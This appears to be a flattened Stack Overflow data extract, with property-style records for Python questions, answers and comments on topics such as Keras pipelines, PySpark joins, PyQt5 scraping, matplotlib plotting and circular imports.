callbacks.EarlyStopping(monitor='val_loss', patience=1, verbose=0, mode='auto') pipe = pipeline.Pipeline([ ('vect', CountVectorizer(max_features=10**4)), ('tfidf', TfidfTransformer()), ('nn', KerasClassifier(build_fn=model, nb_epoch=10, batch_size=128, validation_split=0.2, callbacks=[early_stopping])) ]) In order to make this work, I had to specify the input_shape for the keras model, which means I have to fix the value of CountVectorizer's max_features. I'd like to not do this. Is there a way I can obtain the dimensionality of the output from the previous pipeline stage, in this case, TfidfTransformer and pass that on to the KerasClassifier? i.e., something like this: def model(input_df): model = mode…
has title: Q: Capture dimensions of transformer array for pipeline
has answer: http://stackoverflow.com/a/57964301
score: 3
upvote count: 3
downvote count: 0
answer count: 1
tagged with: machine-learning

http://stackoverflow.com/comment/82486991
score: 0
comment on: http://stackoverflow.com/a/47744231
type: Comment
has text: I hope that comment makes sense. So I guess what I'm saying is if to go from `3 -> 22` the shortest path was actually to go `3 -> 5 -> 14 -> 16 -> 22` then somehow pull out that shortest path and place it into the final solution.
type: AnswerComment

http://stackoverflow.com/q/47360704
tagged with: nlp
has answer: http://stackoverflow.com/a/56067491
tagged with: lstm
type: Question
upvote count: 4
type: UnansweredQuestion
downvote count: 0
answer count: 1
tagged with: language-model
score: 4
tagged with: tensorflow
favorite count: 0
has title: Extract word/sentence probabilities from lm_1b trained model
has comment: http://stackoverflow.com/comment/92527188
tagged with: python
has body: I have successfully downloaded the 1B word language model trained using a CNN-LSTM (https://github.com/tensorflow/models/tree/master/research/lm_1b), and I would like to be able to input sentences or partial sentences to get the probability of each subsequent word in the sentence. For example, if I have a sentence like, "An animal that says ", I'd like to know the probability of the next word being "woof" vs. "meow". I understand that running the following produces the LSTM embeddings: bazel-bin/lm_1b/lm_1b_eval --mode dump_lstm_emb \ --pbtxt data/graph-2016-09-10.pbtxt \ --vocab_file data/vocab-2016-09-10.txt \ --ckpt 'data/ckpt-*' \ --sentence "An animal that says woof" \ --save_dir output That will produce files lstm_emb_step_*.npy where each file is the LSTM embedding for each word in the sentence. How can I transform these into probabilities over the trained model to be able to compare P(woof|An animal that says) vs. P(meow|An animal that says)? Thanks in advance.

c++
tags question: http://stackoverflow.com/q/47296287
tags question: http://stackoverflow.com/q/47240957
tags question: http://stackoverflow.com/q/47377338
tags question: http://stackoverflow.com/q/47364081
tags question: http://stackoverflow.com/q/47309425
tags question: http://stackoverflow.com/q/47240338
tags question: http://stackoverflow.com/q/47278302
tags question: http://stackoverflow.com/q/47254540
tags question: http://stackoverflow.com/q/47263907
type: Tag
tags question: http://stackoverflow.com/q/47227707
tags question: http://stackoverflow.com/q/47325517
tags question: http://stackoverflow.com/q/47371211
tags question: http://stackoverflow.com/q/47298293
tags question: http://stackoverflow.com/q/47309688
tags question: http://stackoverflow.com/q/47276571
tags question: http://stackoverflow.com/q/47367729
tags question: http://stackoverflow.com/q/47223959
tags question: http://stackoverflow.com/q/47337285
tag name: c++
tags question: http://stackoverflow.com/q/47379107
tags question: http://stackoverflow.com/q/47275073
tags question: http://stackoverflow.com/q/47235825

http://stackoverflow.com/comment/81648651
score: 0
has text: I'm sorry. I should have clarified that. I just edited the question.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47347319

http://stackoverflow.com/comment/81449886
type: Comment
type: QuestionComment
has text: Exception in Tkinter callback Traceback (most recent call last): File "C:\Users\Chris\AppData\Local\Programs\Python\Python36-32\lib\tkinter\__init__.py", line 1699, in __call__ return self.func(*args) File "C:\Users\Chris\Desktop\python\Random Number Generator.py", line 18, in gen i = randint(str(min_val()), str(max_val())) TypeError: 'str' object is not callable
comment on: http://stackoverflow.com/q/47247865
score: 0

http://stackoverflow.com/comment/81419487
type: QuestionComment
has text: @user2357112, Thanks for your reply. But can I stick another list onto an attribute and self is not a list?
score: 0
comment on: http://stackoverflow.com/q/47234448
type: Comment

http://stackoverflow.com/a/47430662
has body: Redirected Squish to use Python folders installed externally (edit python address to the external python folder in path.ini file in 'etc' folder at two locations -LibraryPath -Scripting/PythonHome ). Be sure to use external python should beexact same version as installed in your squish Installed Oracle client 64 bit (Downloaded from oracle and add Lib path to environment variable). Installed cx_oracle from here 'https://pypi.python.org/pypi/cx_Oracle/5.2.1' Used the following script import cx_Oracle def main(): ip = 'xxxxx.xxx.xxxx.xxx' port = xxxx SID = 'xxxxxx' dsn_tns = cx_Oracle.makedsn(ip, port, SID) conn = cx_Oracle.connect('username', 'password', dsn_tns) curs = conn.cursor() curs.arraysize=50 curs.execute('SELECT * from tablename') print "Student No\tModule\tMarks\n" for column_1, column_2, column_3 in curs.fetchall(): print column_1, "\t", column_2, "\t", column_3 curs.close() conn.close() main() Also, in Squish change SQUISH_DIR/lib/python*.dll to SQUISH_DIR/lib/python*_off.dll
upvote count: 2
answers question: http://stackoverflow.com/q/47349801
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81815781
score: 2

http://stackoverflow.com/comment/81540194
type: AnswerComment
comment on: http://stackoverflow.com/a/47294385
type: Comment
has text: Glad we talked that through. I found the O(n) solution. Will write up now.
score: 0

http://stackoverflow.com/comment/81808888
has text: Without seeing the real website it is hard to give a solution which may not go wrong. If possible, paste here the website address, then I'm gonna take a look.
comment on: http://stackoverflow.com/a/47377431
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/47267728
has body: I have two PySpark DataFrames. I join both DataFrames as follows: df = df1.join(df2,['col1', 'col2'], 'inner') The DataFrame df2 has a column timestamp, while df1 does not have it: df1 = col1 col2 AA 11 BB 22 df2 = timestamp col1 col2 col3 1510586134 AA 11 3 1510586140 AA 11 2 1510586200 AA 11 5 1510586134 BB 22 3 How can I join DataFrames by the newest row of df2 according to timestamp? The result should be the following: col1 col2 col3 AA 11 5 BB 22 3
score: 0
has comment: http://stackoverflow.com/comment/81486810
tagged with: apache-spark
answer count: 1
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81487431
type: UnansweredQuestion
tagged with: pyspark
tagged with: python
has answer: http://stackoverflow.com/a/47270884
has title: How to join DataFrames and take the newest row by timestamp?

http://stackoverflow.com/a/47328692
answers question: http://stackoverflow.com/q/47327523
upvote count: 3
has body: Please try the below update. It should resolve the problem. db.update_item(Key={ "Name":"Dany"}, UpdateExpression='SET #oldVote = #oldVote + :newVote', ExpressionAttributeNames={ '#oldVote' :'Vote'}, ExpressionAttributeValues={':newVote': 1} )
score: 3
type: Answer
accepted answer of: http://stackoverflow.com/q/47327523
downvote count: 0
has comment: http://stackoverflow.com/comment/81632617
type: AcceptedAnswer

http://stackoverflow.com/comment/81626151
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47336766
has text: I've added the code that I use to make the HTML. You'll need a pandas DataFrame with some dummy variables (including one column of dates) and to download plotly-min.js and put it in the same folder as the code. Thank you for looking at it!
score: 0

http://stackoverflow.com/comment/81434072
comment on: http://stackoverflow.com/q/47241709
has text: Sorry, it is `values()`, not `value()`: `myModel.objects.values()`
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81568791
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47308164
type: Comment
has text: Now it is crashing in the 2nd page itself. i am getting an error selenium.common.exceptions.WebDriverException: Message: unknown error: Element ... is not clickable at point (784, 0). Other element would receive the click: ... (Session info: chrome=62.0.3202.94) (Driver info: chromedriver=2.33.506120 (e3e53437346286c0bc2d2dc9aa4915ba81d9023f),platform=Windows NT 10.0.15063 x86_64)

http://stackoverflow.com/comment/82067630
type: QuestionComment
type: Comment
has text: That worked thank you very much :)
score: 1
comment on: http://stackoverflow.com/q/47305714

http://stackoverflow.com/a/47279728
answers question: http://stackoverflow.com/q/47279674
downvote count: 0
score: 1
type: Answer
has body: Yes you can, however, you might be better advised to use different names for the files and the classes they contain. Please note that the use of {} is not a python construct to mark scope boundaries file a.py # file a.py from b import B class A() def Foo(): pass file b.py # file b.py from a import A class B() def Bar(): pass This type of circular import will work, but there are better ways, notably placing imports in an __init__.py file
upvote count: 1

http://stackoverflow.com/a/47250536
has comment: http://stackoverflow.com/comment/81453683
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/81453698
has body: Use a http server to serve the python file. The server should have CORS enabled. You can install a nodeJS based server from npm that has support for CORS or search for a python2 or python3 (depending on what you have) script that will launch the builtin simple http server with the CORS header. CORS, put briefly, is a way of restricting how content can be requests between web servers. Without the CORS line in the header, browsers won't allow you to request the data from the other server. It has to do with the other server not having the header, not your own server. See https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS for more information. Just one possible solution assuming you have npm installed, you can find many many others through a search, https://www.npmjs.com/package/http-server npm i -g http-server # This will install globally, -g flag cd /Users/harshajasti/Desktop/LibraryApplication/ http-server --cors This will print out what address its serving on then. The instead of reqesting file:///Users... request for example localhost:8888/file.py.
answers question: http://stackoverflow.com/q/47250363
accepted answer of: http://stackoverflow.com/q/47250363
has comment: http://stackoverflow.com/comment/81451851
has comment: http://stackoverflow.com/comment/81451955
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81681798
comment on: http://stackoverflow.com/q/47360178
score: 0
has text: I have added that ..
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81615631
has text: For this realization its projection on xy is a circumference, however for other experiments it turns to be an ellipsis.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47331548
score: 0

http://stackoverflow.com/a/47265338
has comment: http://stackoverflow.com/comment/81481653
has body: The reason its overwriting is you are using same variable name and performing the append operation inside the function which will empty everything when you call it for second time. import pandas as pd import datetime rd=pd.DataFrame() # an empty dataframe date=datetime.datetime.now().date() date=pd.to_datetime(date) def add_data_to_dataframe(): data={ 'fail':5, 'Pass':5, 'suite_name':['Robot'], 'Report_datetime':[pd.to_datetime('today').now()], 'datetime':[pd.to_datetime('today').now()] } empty_list.append(data) return empty_list After I get the empty list I will define my dataframe make_list = add_data_to_dataframe() new_df = pd.DataFrame(make_list,columns=['suite_name','fail','Pass','Report_datetime','datetime'],index=[date]) Now at the end append both the dataframes. rd.append(new_df) # now instead of overwriting it will append
has comment: http://stackoverflow.com/comment/81507622
has comment: http://stackoverflow.com/comment/81509819
type: Answer
answers question: http://stackoverflow.com/q/47262118
score: 0

http://stackoverflow.com/q/47249491
tagged with: python
has body: I have this first module: #testing1 import testing2 choice = input('Enter your choice:') def calculateMenuPrice(choice): testing2.printPackage(menuList) calculateMenuPrice(choice) and the second module: #testing2 import testing1 menuList = testing1.calculateMenuPrice(choice) def printPackage(menuList): for x in menuList: if menuList == '1': return(''' ---------- Menu List ---------- 1. Jelly Fish Yee Sang with Pear 2. Dried Seafood with Fish Soup 3. Steamed Sea Water Grouper ''') elif menuList == '2': return(''' ---------- Menu List ---------- 1. Jelly Fish Yee Sang with Pear 2. Shark Fin Soup with Crab Meat 3. Steamed River Patin Fish ''') elif menuList == '3': return(''' ---------- Menu List ---------- 1. Salmon Fish Yee Sang with Pear 2. Steamed Classic Abalone Soup 3. Steamed Bamboo Fish ''') elif menuList == '4': return(''' ---------- Menu List ---------- 1. Abalone Yee Sang with Pear 2. Mini Classic Steam Soup 3. Steamed Local Pomfret Fish ''') the testing2 module requires me to use a for loop to loop through the menu and no hardcoded codes but i get the: AttributeError: module 'testing2' has no attribute 'printPackage' Help and suggestion please. I'm just started learning python. Thanks.
tagged with: python-3.x
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47249609
answer count: 1
type: Question
score: 0
has title: How to fix AttributeError: module 'testing2' has no attribute 'printPackage'?

http://stackoverflow.com/a/47259356
answers question: http://stackoverflow.com/q/47235152
upvote count: 3
score: 3
has body: Here is the complete solution: from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import numpy as np import pandas as pd from scipy.interpolate import griddata as gd import time #read values print("Read original data...") start_time=time.clock() f=open('Daten.csv','r') headers = ["x","y","z","V"] data = pd.read_csv(f, delimiter = ",",header=1,names=headers) x=data.x y=data.y z=data.z v=data.V print ('time needed: ', time.clock()-start_time, ' seconds') print("") #generate new grid X,Y,Z print("Generate new grid...") start_time=time.clock() xi,yi,zi=np.ogrid[0:1:11j, 0:1:11j, 0:1:11j] X1=xi.reshape(xi.shape[0],) Y1=yi.reshape(yi.shape[1],) Z1=zi.reshape(zi.shape[2],) ar_len=len(X1)*len(Y1)*len(Z1) X=np.arange(ar_len,dtype=float) Y=np.arange(ar_len,dtype=float) Z=np.arange(ar_len,dtype=float) l=0 for i in range(0,len(X1)): for j in range(0,len(Y1)): for k in range(0,len(Z1)): X[l]=X1[i] Y[l]=Y1[j] Z[l]=Z1[k] l=l+1 print ('time needed: ', time.clock()-start_time, ' seconds') print("") #interpolate "data.v" on new grid "X,Y,Z" print("Interpolate...") start_time=time.clock() V = gd((x,y,z), v, (X,Y,Z), method='linear') print ('time needed: ', time.clock()-start_time, ' seconds') print("") #Plot original values fig1 = plt.figure() ax1=fig1.gca(projection='3d') sc1=ax1.scatter(x, y, z, c=v, cmap=plt.hot()) plt.colorbar(sc1) ax1.set_xlabel('X') ax1.set_ylabel('Y') ax1.set_zlabel('Z') #Plot interpolated values fig2 = plt.figure() ax2=fig2.gca(projection='3d') sc2=ax2.scatter(X, Y, Z, c=V, cmap=plt.hot()) plt.colorbar(sc2) ax2.set_xlabel('X') ax2.set_ylabel('Y') ax2.set_zlabel('Z') #Show plots plt.show() Example data are calculated with random points def func(x,y,z): return 0.5*(3)**(1/2)-((x-0.5)**2+(y-0.5)**2+(z-0.5)**2)**(1/2) x = np.random.rand(10) y = np.random.rand(10) z = np.random.rand(10) v = func(x,y,z) resulting in this example data: x,y,z,v 0.6306633776,0.5399341613,0.0223922509,0.3692590427 0.6201798089,0.713310769,0.2586306574,0.5222175648 0…
downvote count: 0
type: Answer

http://stackoverflow.com/a/47363017
has comment: http://stackoverflow.com/comment/81710834
score: 0
has body: You can merge your data frames, then map teams from Pid values. team_map = {"1":"Pizza", "2":"Weather", "10":"Emergency"} df = intentdatas.merge(finalchat"intent","Pid", on="intent") df.assign(team=df.Pid.apply(lambda x: team_map[x.split(".")[0]])).drop("Pid", 1) intent response team 0 PizzaDelivery I want to order a pizza Pizza 1 WeatherForecast What's the weather in Manila Weather 2 Emergency Number What's the number to dial? Emergency
answers question: http://stackoverflow.com/q/47362600
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47362600
has comment: http://stackoverflow.com/comment/81709386
type: Answer

http://stackoverflow.com/q/47333971
upvote count: 0
downvote count: 2
answer count: 3
has answer: http://stackoverflow.com/a/47334516
has comment: http://stackoverflow.com/comment/81619424
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47334037
has body: So the part of my data.dat looks like this: carine mite, tick accipitrine bird: hawk, falcon, or bird of prey acipenserine sturgeon aedine mosquito (genus Aedes) alaudine bird: skylark alcelaphine antelopes alcidine bird: auk, puffin, or murre alectorine crane anatine duck, mallard anguilline snake How could I create a dictionary that would map multiple values (e.g bird: hawk, falcon, or bird of prey maps to accipitrine) to single keys? This is my code so far: with open ('collateralAdjectives.dat', 'r') as a: adjectives = a.read().splitlines() d = dict() for item in collateralAdjectives: (s, c) = item.split(' ') d[s] = c This is the error that I get: (s, c) = item.split(' ') ValueError: too many values to unpack (expected 2)
has comment: http://stackoverflow.com/comment/81619582
type: UnansweredQuestion
score: -2
has title: How to make a dictionary from this data?
has comment: http://stackoverflow.com/comment/81619308
has answer: http://stackoverflow.com/a/47334426
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81619593
has comment: http://stackoverflow.com/comment/81620266
has comment: http://stackoverflow.com/comment/81620183

werkzeug
tags question: http://stackoverflow.com/q/47249748
tags question: http://stackoverflow.com/q/47271582
tag name: werkzeug
type: Tag

http://stackoverflow.com/comment/81466282
score: 0
comment on: http://stackoverflow.com/q/47257678
type: QuestionComment
has text: Do you want `.log` or `.jpg`? Your code says `log`, your question description says `jpg`.
type: Comment

http://stackoverflow.com/comment/81558222
has text: can you upload the csv file ?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47300713
type: QuestionComment

http://stackoverflow.com/a/47350992
score: 0
type: AcceptedAnswer
type: Answer
has body: Like this : import pyHook import pythoncom import time import thread class _HK : def __init__(self): self.ev = None def run(self,passarg): pythoncom.CoInitialize() while True : if self.ev != None : time.sleep(1) print self.ev.Position self.ev = None HK = _HK() s = thread.start_new_thread(HK.run,(None,)) def onclick(event): HK.ev = event return True hm = pyHook.HookManager() hm.SubscribeMouseAllButtonsDown(onclick) hm.HookMouse() pythoncom.PumpMessages() hm.UnhookMouse() Other definitions are invalid if the application is focused on a process. Initially the process must be resolved by the system. It can then access internal and external components. pythoncom.CoInitialize() require for a function or additional process ! I hope it helps(TESTED).
answers question: http://stackoverflow.com/q/47347117
accepted answer of: http://stackoverflow.com/q/47347117

http://stackoverflow.com/a/50332201
type: Answer
answers question: http://stackoverflow.com/q/47336941
score: 0
has body: Your code is for Python >= 3.5.1, make sure you are running the right version.

http://stackoverflow.com/comment/81703455
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47375456
has text: @Vorsprung then what should be the approach to store this type of large list.

http://stackoverflow.com/comment/81453202
score: 0
type: QuestionComment
has text: thank you both for the wonderful answer...it worked
type: Comment
comment on: http://stackoverflow.com/q/47250571

http://stackoverflow.com/comment/81442690
type: QuestionComment
comment on: http://stackoverflow.com/q/47246158
score: 0
has text: Without any knowledge of cord I'm sure `str(...)` is not the cause of your trouble and there should be an other way to access the content.
type: Comment

http://stackoverflow.com/comment/81638145
comment on: http://stackoverflow.com/a/47342526
score: 0
type: Comment
has text: Do you have some names that have more than just a first name and a last name?
type: AnswerComment

http://stackoverflow.com/q/47381962
linked to: http://stackoverflow.com/q/42147601
has comment: http://stackoverflow.com/comment/81752579
has comment: http://stackoverflow.com/comment/81755813
answer count: 0
has comment: http://stackoverflow.com/comment/81718667
tagged with: pyqt
score: 1
downvote count: 0
tagged with: pyqt5
upvote count: 1
tagged with: web-scraping
has comment: http://stackoverflow.com/comment/81718076
has comment: http://stackoverflow.com/comment/81718440
favorite count: 0
has comment: http://stackoverflow.com/comment/81716541
type: Question
linked to: http://stackoverflow.com/q/21274865
has comment: http://stackoverflow.com/comment/81718294
has comment: http://stackoverflow.com/comment/81756208
tagged with: qtwebengine
has comment: http://stackoverflow.com/comment/81716563
type: UnansweredQuestion
has body: I am really new at Python and trying to scrape some data from a javascript rendered web page with the second one on this. When i try to apply this code for a for loop it returns only 2 results from the list with 50 items and gives "Process finished with exit code -1073740940 (0xC0000374)" error. Can anyone explain the reason please? My sample is here: class Page(QWebEnginePage): def __init__(self, url): self.app = QApplication(sys.argv) QWebEnginePage.__init__(self) self.html = '' self.loadFinished.connect(self._on_load_finished) self.load(QUrl(url)) self.app.exec_() def _on_load_finished(self): self.html = self.toHtml(self.Callable) def Callable(self, html_str): self.html = html_str self.app.quit() def main(): global linklist for iurl in linklist: page = Page(iurl) soup = bs.BeautifulSoup(page.html, 'html.parser') data = soup.find('div', class_='tablo_dual_board') data = data.text data = data.splitlines() print(data) I've also tried this one and it gives result only for the first list item. Is there anyway other than these to apply a function for list items? for iurl in linklist: iurl=main() My whole code is here: import sys from PyQt5 import QtCore, QtWidgets, QtWebEngineWidgets import requests from bs4 import BeautifulSoup import bs4 as bs class WebPage(QtWebEngineWidgets.QWebEnginePage): def __init__(self): super(WebPage, self).__init__() self.loadFinished.connect(self.handleLoadFinished) def start(self, urls): self._urls = iter(urls) self.fetchNext @property def fetchNext(self): try: url = next(self._urls) except StopIteration: return False else: self.load(QtCore.QUrl(url)) return True def processCurrentPage(self, html): url = self.url().toString() # do stuff with html... soup = bs.BeautifulSoup(html, 'html.parser') veri = soup.find('div', class_='tablo_dual_board') veri = veri.text veri = veri.splitlines() print(veri) if not self.fetchNext: QtWidgets.qApp.quit() def handleLoadFinished(self): self.toHtml(self.processCurrentPage) def javaScriptConsoleMessage(sel…
duplicate of: http://stackoverflow.com/q/21274865
tagged with: python
has comment: http://stackoverflow.com/comment/81832768
has comment: http://stackoverflow.com/comment/81717888
has comment: http://stackoverflow.com/comment/81719049
has title: PyQt5 Web scraping not working within for loop
has comment: http://stackoverflow.com/comment/81717654

http://stackoverflow.com/a/47267065
has comment: http://stackoverflow.com/comment/81485104
has body: Making a small test: a.txt contains 'Hello', 'b.txt' contains 'World'. with open('a.txt', "ab") as file1, open('b.txt', "rb") as file2: file1.write(file2.read()) Now a.txt contains 'HelloWorld'. Checking with the other snippet, after changing back a.txt to "Hello": with open('a.txt', "rb") as file1, open('b.txt', "rb") as file2: first_file = file1.read() second_file = file2.read() first_file = b''.join([first_file, second_file]) with open('a.txt', 'wb') as fp: fp.write(first_file) Now the content of a.txt is again 'HelloWorld', so the two methods are equivalent (with respect to the result at least). Obviously, though, the first method is more compact.
has comment: http://stackoverflow.com/comment/81485213
type: Answer
has comment: http://stackoverflow.com/comment/81484966
has comment: http://stackoverflow.com/comment/81485147
score: 0
answers question: http://stackoverflow.com/q/47266502

http://stackoverflow.com/a/47316627
accepted answer of: http://stackoverflow.com/q/47316515
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47316515
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81588438
has comment: http://stackoverflow.com/comment/81584723
has body: If you mean literally elements of exactly value 0, then yes, you can do what you suggested in the question. Note that when testing these operations for multi-dimensional arrays, it can sometimes help to simplify by working with 1d arrays: &gt;&gt;&gt; a = np.array([1, 2, 4, 0, 1, 0, 7, 0], dtype="float32") &gt;&gt;&gt; a[a==0] = 1 &gt;&gt;&gt; a array([ 1., 2., 4., 1., 1., 1., 7., 1.], dtype=float32) As first mentioned by @Divikar, you can use np.isclose to get rid of the errors caused by the floats.
score: 1
type: Answer

http://stackoverflow.com/a/47338530
has comment: http://stackoverflow.com/comment/81631493
has comment: http://stackoverflow.com/comment/81630438
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/81631047
has comment: http://stackoverflow.com/comment/81631090
has comment: http://stackoverflow.com/comment/81630716
has comment: http://stackoverflow.com/comment/81631081
answers question: http://stackoverflow.com/q/47338484
has body: Basically change that line to: textfile.write(' : '.join(information.values()) + '\n' ) So full code: textfile = 'user_DB.txt' updated_textfile = 'user_DB_Updated.txt' def a(): username = input('name?: ') updated_lines = [] with open(textfile, 'r+') as textIn: for line in textIn: information = line.split(" : ") updated_lines.append(line) if information[0] == username: print('Your current genre is:',information[5]) new_genre = input('what would you like your new genre to be?') information[5] = new_genre updated_lines[-1] = ' : '.join(information) + '\n' print('new genre is saved to ',information[5]) break elif information != username: print('Name not found, Please try again') a() else:print('invalid') break with open(updated_textfile, 'w+') as out_text: out_text.write(''.join(updated_lines)) textfile.close() a()
upvote count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/81630662
has comment: http://stackoverflow.com/comment/81631123
has comment: http://stackoverflow.com/comment/81630703

http://stackoverflow.com/comment/81556838
type: QuestionComment
score: 0
has text: When i do that it seems to just open up another instance of firefox
type: Comment
comment on: http://stackoverflow.com/q/47302548

http://stackoverflow.com/comment/81774391
has text: Thanks. pyodbc has been successfully installed, but Functions log like "2017-11-21T10:16:53.927 Exception while executing function: Functions.alertemail. Microsoft.Azure.WebJobs.Script: ."
comment on: http://stackoverflow.com/q/47360783
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47280558
answer count: 1
type: Question
has title: python ax window content being automatically refreshed
has body: Known bugs are when plots the window's plt.pause while the thread is multithreaded, and the other thread needs windows to draw points, causing the reaction to get stuck. Is there any way to get the effect of plotting points in my window displayed dynamically, that is, the point is drawn step by step.Or other ways allowing ax window content being automatically refreshed. I think the main problem is caused by the command "plt.pause" #-*-coding:utf-8-*- from matplotlib.patches import Circle import matplotlib.pyplot as plt import xlrd import numpy as np from matplotlib.animation import FuncAnimation import matplotlib.ticker as mticker import cartopy.crs as ccrs from cartopy.mpl.gridliner import LONGITUDE_FORMATTER, LATITUDE_FORMATTER import time from matplotlib.offsetbox import AnnotationBbox,OffsetImage from PIL import Image import random from time import ctime,sleep import threading #地图可视化 fig=plt.figure(figsize=(20,10)) ax = plt.axes(projection=ccrs.PlateCarree()) ax.coastlines() ax.stock_img() gl = ax.gridlines(crs=ccrs.PlateCarree(), draw_labels=True, linewidth=2, color='gray', alpha=15, linestyle='--') gl.xlabels_top = False gl.ylabels_left = False gl.xlines = False gl.xlocator = mticker.FixedLocator([-180, -45, 0, 45, 180]) gl.xformatter = LONGITUDE_FORMATTER gl.yformatter = LATITUDE_FORMATTER gl.xlabel_style = {'size': 15, 'color': 'gray'} gl.xlabel_style = {'color': 'red', 'weight': 'bold'} img=Image.open(r'E:\python_file\untitled\p.png') imagebox=OffsetImage(img,zoom=0.05) imagebox.image.axes=ax ab=AnnotationBbox(imagebox,[55,10],pad=0,frameon=False) ax.add_artist(ab) ac=AnnotationBbox(imagebox,[63,0],pad=0,frameon=False) ax.add_artist(ac) ad=AnnotationBbox(imagebox,[70,-10],pad=0,frameon=False) ax.add_artist(ad) #============================================#攻击 tolerance=1 x_m1,y_m1=random.randint(-180,180),random.randint(-90,90) v_m1=170 x_m2,y_m2=random.randint(-180,180),random.randint(-90,90) v_m2=v_m1 x_m3,y_m3=random.randint(-180,180),random.randint(-90,9…
tagged with: python
has answer: http://stackoverflow.com/a/47328848
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47328848
tagged with: matplotlib

http://stackoverflow.com/a/47274905
type: AcceptedAnswer
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/81518649
answers question: http://stackoverflow.com/q/47271448
score: 0
accepted answer of: http://stackoverflow.com/q/47271448
has body: You have a typo: open.buid=build should probably be open.build=build But don't do that. Putting methods to an instance afterwards (monkeypatching) gets very confusing fast. Other developers will not expect it in this situation. Also kivy does some magic with the classname of the app, it will locate the .kv file following a naming convention. So instead write: from kivy.app import App from kivy.uix.floatlayout import FloatLayout from kivy.uix.textinput import TextInput from kivy.uix.button import Button from kivy.core.window import Window class MyApp(App): def click(self): print(self.ed.text) def build(self): layout = FloatLayout() self.ed = TextInput(text="USER.COM") ed.size_hint = None, None ed.height = 300 ed.width = 400 ed.y = 60 ed.x = 250 bt = Button(text="Click Me") bt.size_hint = None, None bt.height = 50 bt.width = 200 bt.y = 150 bt.x = 170 bt.size_hint = None, None bt.on_press = click() layout.add_widget(ed) layout.add_widget(bt) return layout Window.size=600,600 open= MyApp() open.title = "USER_FREE_AS" open.run() That way you also avoid the global variable, which is most of the time a sign that you do something suboptimal. If you are still new to kivy I recommend going through the kivy tutorials.
upvote count: 1

http://stackoverflow.com/a/47259306
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81470988
has comment: http://stackoverflow.com/comment/81475168
score: 1
has body: A very naive way to implement this would be as follows def group_items(data, low_value, high_value): return [value for value in data if value &gt;= low_value and value &lt;= high_value] This function returns the list of numbers that exist in the ranges [min, max] inclusive, therefore max will be accounted for in both (min,max) and (min+freq, max+freq) because max of first interval is min+freq of next interval. Of course you can correct this based on your requirements. min_max_pairs = [] for x in xrange(minimum, maximum, frequency): pair = (x, x+frequency) min_max_pairs.append(pair) This creates the map from the minimum to maximum values specified by the user using the frequency interval. In your case the values in min, max and freq are minimum = raw_input("Enter the min value") maximum = raw_input("Enter the max value") frequency = raw_input("Enter the Freq") This returns the pair as follows: &gt;&gt;&gt; min_max_pairs [(0, 20), (20, 40), (40, 60), (60, 80), (80, 100)] Now loop through the pairs and pass them to the group_items() to get the required result for pair in min_max_pairs: min = pair[0] max = pair[1] interval = freq print ("Range [",min,"-",max,"] : ", group_items(data, min, max)) that results in Range [ 0 - 20 ]: [1, 2, 12, 13] Range [ 20 - 40 ]: [22, 23, 32, 33] Range [ 40 - 60 ]: [42, 43, 52, 53] Range [ 60 - 80 ]: [62, 63, 72, 73] Range [ 80 - 100 ]: [82, 83, 92, 93]
type: Answer
answers question: http://stackoverflow.com/q/47258648

http://stackoverflow.com/a/47275939
upvote count: 1
answers question: http://stackoverflow.com/q/47275909
has comment: http://stackoverflow.com/comment/81503121
type: Answer
has body: One way to do this is move x.py - but then create a new x.py (or in this case, __init__.py that resides in the x directory) that imports everything it used to expose. For example, if x.py contained def example you could import this using from x import example. This would basically be a proxy to the real definition. Let me know if I haven't explained this clearly enough.
score: 1
downvote count: 0

http://stackoverflow.com/comment/81635342
score: 0
type: AnswerComment
has text: @Vcoss please see my recent edit, I added list slicing to remove the first value.
comment on: http://stackoverflow.com/a/47341159
type: Comment

http://stackoverflow.com/comment/81410341
comment on: http://stackoverflow.com/q/47229802
has text: possibly this can be done by using dp by comparing (i,j-1) and (i-1,j) for i,j?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81716246
has text: Why did you obfuscate it and then want to edit it? Just work with the original code.
type: Comment
comment on: http://stackoverflow.com/q/47381800
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81907920
type: Comment
has text: How would you create a named log with Google App Engine Standard (Python)?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47327065

http://stackoverflow.com/comment/81425684
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47236910
has text: does this help: https://stackoverflow.com/questions/32680081/importerror-after-successful-pip-installation/32680082#32680082 - your problem seems to be very similar. It's important to check to which python interpreter your jupyer kernel belongs.
score: 0

http://stackoverflow.com/q/47347833
